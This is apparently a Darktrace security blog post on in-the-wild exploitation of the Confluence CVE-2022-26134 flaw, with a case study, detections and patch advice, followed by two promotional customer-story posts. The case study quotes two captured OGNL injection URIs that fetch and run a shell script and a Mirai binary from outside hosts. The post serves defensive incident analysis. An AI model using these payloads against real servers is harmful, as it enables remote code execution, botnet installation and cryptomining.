June 12, 2022

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Stay informed with Darktrace's blog on detection and guidance for the Confluence CVE-2022-26134 zero-day vulnerability. Learn how to protect your systems.

Written by

Gabriel Few-Wiegratz

Product Marketing Manager, Exposure Management and Incident Readiness

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Gabriel Few-Wiegratz

Product Marketing Manager, Exposure Management and Incident Readiness

Jun 2022

Summary

CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

‍

Introduction

‍

Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.^[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.^[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

‍

Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.^[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.^[4]

‍

Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.^[2]

‍

Case study: European media organization

‍

The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.^[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.^[6]

‍

On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).^[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

‍

Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.^[9]

‍

During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.^[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

*Figure 3: VirusTotal confirming evidence of Kinsing shell download*

‍

More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

‍

This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.^[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

*Figure 6: Model breach snapshot highlighting new user agent and Mirai URI*

‍

/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

‍

Darktrace coverage and guidance

‍

From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

*Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event*

‍

On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

Antigena / Network / External Threat / Antigena Suspicious Activity Block

Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour

Antigena / Network / External Threat / Antigena Suspicious File Block

Block connections to 194.38.20[.]166 port 80 for two hours

Antigena / Network / External Threat / Antigena Crypto Currency Mining Block

Block connections to 176.113.81[.]186 port 80 for 24 hours

‍

Darktrace customers can also maximise the value of this response by taking the following steps:

Ensure Antigena Network is deployed.
Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

‍

Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
For those unable to update, temporary mitigations can be found in the formal security advisory.
Ensure Internet-facing servers are up-to-date and have secure compliance practices.

‍

Appendix

Darktrace model detections (for the discussed incident)

Anomalous Connection / New User Agent to IP Without Hostname
Anomalous File / EXE from Rare External Location
Anomalous File / Script from Rare External
Anomalous Server Activity / Possible Denial of Service Activity
Anomalous Server Activity / Rare External from Server
Compromise / Crypto Currency Mining Activity
Compromise / High Volume of Connections with Beacon Score
Compromise / Large Number of Suspicious Failed Connections
Compromise / SSL Beaconing to Rare Destination
Device / New User Agent

IoCs

‍

Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

‍

Written by

Gabriel Few-Wiegratz

Product Marketing Manager, Exposure Management and Incident Readiness

Inside the SOC

Written by

Gabriel Few-Wiegratz

Product Marketing Manager, Exposure Management and Incident Readiness

Malware Research Lead

Watch the NIS2 Webinar

Blog

Proactive Security

June 2, 2026

Stopping Stealth Attacks with Precision: How Núclea Prevented a Breach Without Disruption

Núclea is a Brazilian data and technology company that supports the country’s financial system by delivering digital services exclusively to banks and financial institutions. Operating in an environment where trust, availability, and data integrity are critical, the company faces a threat landscape that has evolved rapidly—particularly with the rise of AI-driven cyberattacks.

Brazil has experienced a wave of successful cyber incidents targeting financial institutions, many of them enabled by insiders or compromised credentials. The result was a noticeable shift in attacker strategy: instead of focusing on end customers, threat actors began targeting the institutions and platforms that underpin the financial ecosystem itself.

“Attacks became far more directed and contextual,” explains Guilherme, who leads incident response within Núclea’s security platform engineering team. “They weren’t noisy or obviously malicious—they were precise, patient, and designed to blend into normal operations.”

That precision was on full display in January 2026, when Núclea faced one of the most convincing phishing attacks the team had seen.

A real attack, built on trust and context

The attack began with a seemingly routine email.

It was sent from a real Brazilian government institution, using legitimate infrastructure and valid credentials that were later confirmed to have been compromised. Núclea had an established, ongoing relationship with this organization, and the email’s language, tone, and subject matter aligned perfectly with the type of communication the recipient team handled every day.

Attached to the email was a PDF document containing content that looked entirely legitimate.

The problem? A single URL embedded inside that PDF.

“The message itself was correct. The sender was real. The context was familiar. Even the document content made sense,” Guilherme explains. “There was just one small element that didn’t belong.”

That small detail was enough to initiate a full attack chain.

What the attackers were trying to do

If clicked, the URL would have downloaded a malicious payload designed to:

Collect information about the user and device
Identify where the system was located within the financial ecosystem
Install remote access tools to maintain control
Deploy an infostealer to extract sensitive data
Execute anti-forensic scripts to erase traces of the intrusion

In other words, it was a carefully engineered operation designed for persistence and stealth, not immediate disruption.

The attack also employed urgency—a classic social engineering technique. When the link didn’t open as expected, employees requested assistance from the security team, insisting the document was important and needed to be accessed quickly.

This is precisely the kind of scenario where traditional security tools struggle: almost everything about the interaction is legitimate.

Where Darktrace made the difference

Instead of blocking the entire message or relying on known indicators of compromise, Darktrace focused on behavioral context.

Darktrace recognized:

That the sending organization was normally trusted
That the communication pattern matched historical behavior
That the PDF content itself was not suspicious

But it also identified that the URL embedded within the document deviated from established behavioral patterns.

Rather than disrupting business operations, Darktrace took precise action: it rewrote the URL, preventing the malicious download while leaving the rest of the email untouched.

“When we analyzed it afterward, it became clear how dangerous the attack would have been,” says Guilherme. “But it never progressed—because Darktrace acted at exactly the right point.”

Subsequent forensic analysis confirmed the payload’s malicious intent. The attack never succeeded.

Precision over disruption

For Núclea, this incident reinforced a critical lesson: modern attacks don’t always look malicious—they hide within normal activity.

“What stands out to me is the precision,” Guilherme says. “Darktrace doesn’t rely on big, obvious signals. It’s effective in situations that fall outside the standard patterns we all know.”

Building resilience in a high trust ecosystem

For Núclea, cybersecurity is not just a defensive measure—it’s a business enabler.

Availability failures or successful breaches in the financial ecosystem can have immediate, large-scale consequences, from financial loss to reputational damage. Preventing those outcomes protects not just Núclea, but its partners and customers as well.

“Cyber resilience means keeping the business running—even under attack,” Guilherme explains. “And that requires people, processes, and technology working together.”

As AI continues to accelerate both attacks and defenses, the role of security is evolving. Precision, behavioral understanding, and intelligent automation are no longer optional—they’re essential.

“The easy days were yesterday,” Guilherme says. “The challenges ahead are bigger. We need to be prepared—internally and with partners that help us build resilience.”

‍

About the author

Mariana Pereira

VP, Field CISO

Blog

Proactive Security

June 1, 2026

Defend What You Trust: Stories from the Front Lines of Modern Cyber Defense

Modern attacks don’t always announce themselves, follow obvious patterns, or rely on known malware. Often, they move quietly inside trusted systems, authenticated sessions, and everyday behavior.

They don’t break in. They blend in.

That’s why an AI-powered defense is essential. It turns invisible signals into actionable insights at a scale neither analysts nor traditional tools can achieve alone.

Confidence is creating risk

One of the most dangerous assumptions in cybersecurity today is that strong controls equal strong protection.

Multi-factor authentication (MFA), for example, is widely viewed as a foundational safeguard. But as the CISO for a professional sports organization explains, that confidence can be misplaced. “A lot of organizations assume that once you have MFA, those accounts are safe. That’s not true.”

In one instance, his team identified a sophisticated attack where a threat actor bypassed MFA entirely, not by breaking it, but by going around it. A user’s authenticated session was hijacked and re-used, allowing the attacker to impersonate them without triggering traditional controls.

“Darktrace picked up that a session had been re-injected by the hacker, and we were able to block it right away,” he explains.

Attackers anticipate what we miss

Even well-trained users can become entry points.

“An email bypassed our existing security tools,” shares the VP of IT at a U.S.-based risk management services provider. “The user missed one signal and entered their credentials into a malicious site. That’s what the bad guys count on.”

The organization responded quickly, but not before damage was done. Crucially, this occurred while Darktrace was in “watch mode,” before autonomous response was fully enabled. “Darktrace would have seen that and shut it down immediately,” he notes.

Mistakes and oversights like misconfigurations, forgotten machines, and missed patches can create serious vulnerabilities.

The CIO of a utility services organization shares an instance when Darktrace detected a breach to a client’s network via their ZTNA VPN due to misconfigured MFA. “Darktrace alerted us and autonomously blocked the scanning, preventing what could have been a ransomware-type incident.”

The most dangerous threats are already inside

The Head of Security at a global business services provider knows firsthand how blind spots can persist inside environments. His team uncovered evidence of dormant ransomware artifacts sitting unnoticed within a company’s environment ¬¬– long before modern detection was in place.

“During a routine file transfer, Darktrace flagged the suspicious activity, identified the ransomware, and immediately quarantined the server,” he recalls. While the attack was never executed, the implication was significant: the risk existed long before it was finally detected.

Cyber threats are also successful because they take advantage of normal human behavior, exploiting moments of cognitive overload, urgency, and trust.

The Executive Director of IT and Business Applications at a pharmaceutical lab describes the time Darktrace flagged an employee logging into Microsoft 365 from Singapore, despite him being physically located in the U.S. Darktrace immediately cut off his access and within minutes revealed that the employee’s son was using a VPN to play a video game.

While the threat was benign, it demonstrated the strength of AI to use contextual information to detect threats other tools miss. The information also saved security analysts hours of investigation and minimized downtime for the employee. “That level of precision and speed isn’t just convenient, it’s game changing.”

“Unusual” behavior is the new red flag

Detecting modern threats requires an understanding of what “normal” looks like and recognizing when something subtly deviates.

One security leader at an AI technology enterprise described a scenario in which an employee connected to a proxy service in China. The service itself was legitimate, and although traditional tools didn’t flag it, the behavior was unusual for that user specifically.

“That’s what Darktrace picked up on. The activity turned out to be benign, but without visibility into behavioral deviations, it could just as easily have been something more serious.”

AI shifts defense from reaction to anticipation

These stories point to a fundamental shift by cyber attackers, both tactically and strategically. Because traditional security tools were built to detect what’s already known, modern attacks are often:

Credential-based, not malware-based
Behavioral, not signature-based
Subtle, not overt

They may operate within the boundaries of what appears normal, exploiting what organizations trust, not what they block:

Trusted sessions
Legitimate services
Human error

This is where AI is changing the equation. Rather than relying on predefined rules or known threat signatures, AI can:

Establish a baseline of normal behavior
Detect subtle anomalies in real time
Act autonomously to contain potential threats

Resilience, not perfection, is the new security standard

As these frontline experiences show, the organizations that lead are those that move beyond reactive defense and embrace AI as a core part of their strategy.

It eliminates the blind spots and uncertainty, says the CISO of a professional sports organization. “If you lack visibility, you’re not managing risk, you’re assuming it. AI gives you the actionable insights needed to turn uncertainty into control.”

And it provides the speed and agility that are vital when seconds matter, says the Executive Director of IT and Business Applications. “When Darktrace alerted us at 3:00 am to a ransomware attack, it had already quarantined the affected systems, blocked the attacker’s access, and provided us with the critical details and time needed to investigate. That action likely saved us hundreds of thousands, if not millions, of dollars.”

The modern SOC has become a cornerstone of enterprise resilience, responsible for protecting data and operational continuity while enabling digital growth and innovation. For today’s security professional, that means success is no longer measured by what they keep out, but by what they protect: revenue, reputation, and trust.

‍

About the author

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Check out this article by Darktrace: Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Summary

Introduction

Case study: European media organization

Darktrace coverage and guidance

Wider recommendations for CVE-2022-26134

Appendix

Darktrace model detections (for the discussed incident)

IoCs

Footnotes

Chinese APT Campaign Targets Entities with Updated FDMTP Backdoor

Stopping Stealth Attacks with Precision: How Núclea Prevented a Breach Without Disruption

Enjoying the blog?

More in this series

Darktrace named a Leader in the 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR) For the Second Consecutive Year

When Open Source Is Weaponized: Analysis of a Trojanized 7 Zip Installer

Chinese APT Campaign Targets Entities with Updated FDMTP Backdoor

Blog

Proactive Security

June 2, 2026

Stopping Stealth Attacks with Precision: How Núclea Prevented a Breach Without Disruption

A real attack, built on trust and context

What the attackers were trying to do

Where Darktrace made the difference

Precision over disruption

Blog

Proactive Security

June 1, 2026

Defend What You Trust: Stories from the Front Lines of Modern Cyber Defense

They don’t break in. They blend in.

Attackers anticipate what we miss

The most dangerous threats are already inside

“Unusual” behavior is the new red flag

AI shifts defense from reaction to anticipation

Resilience, not perfection, is the new security standard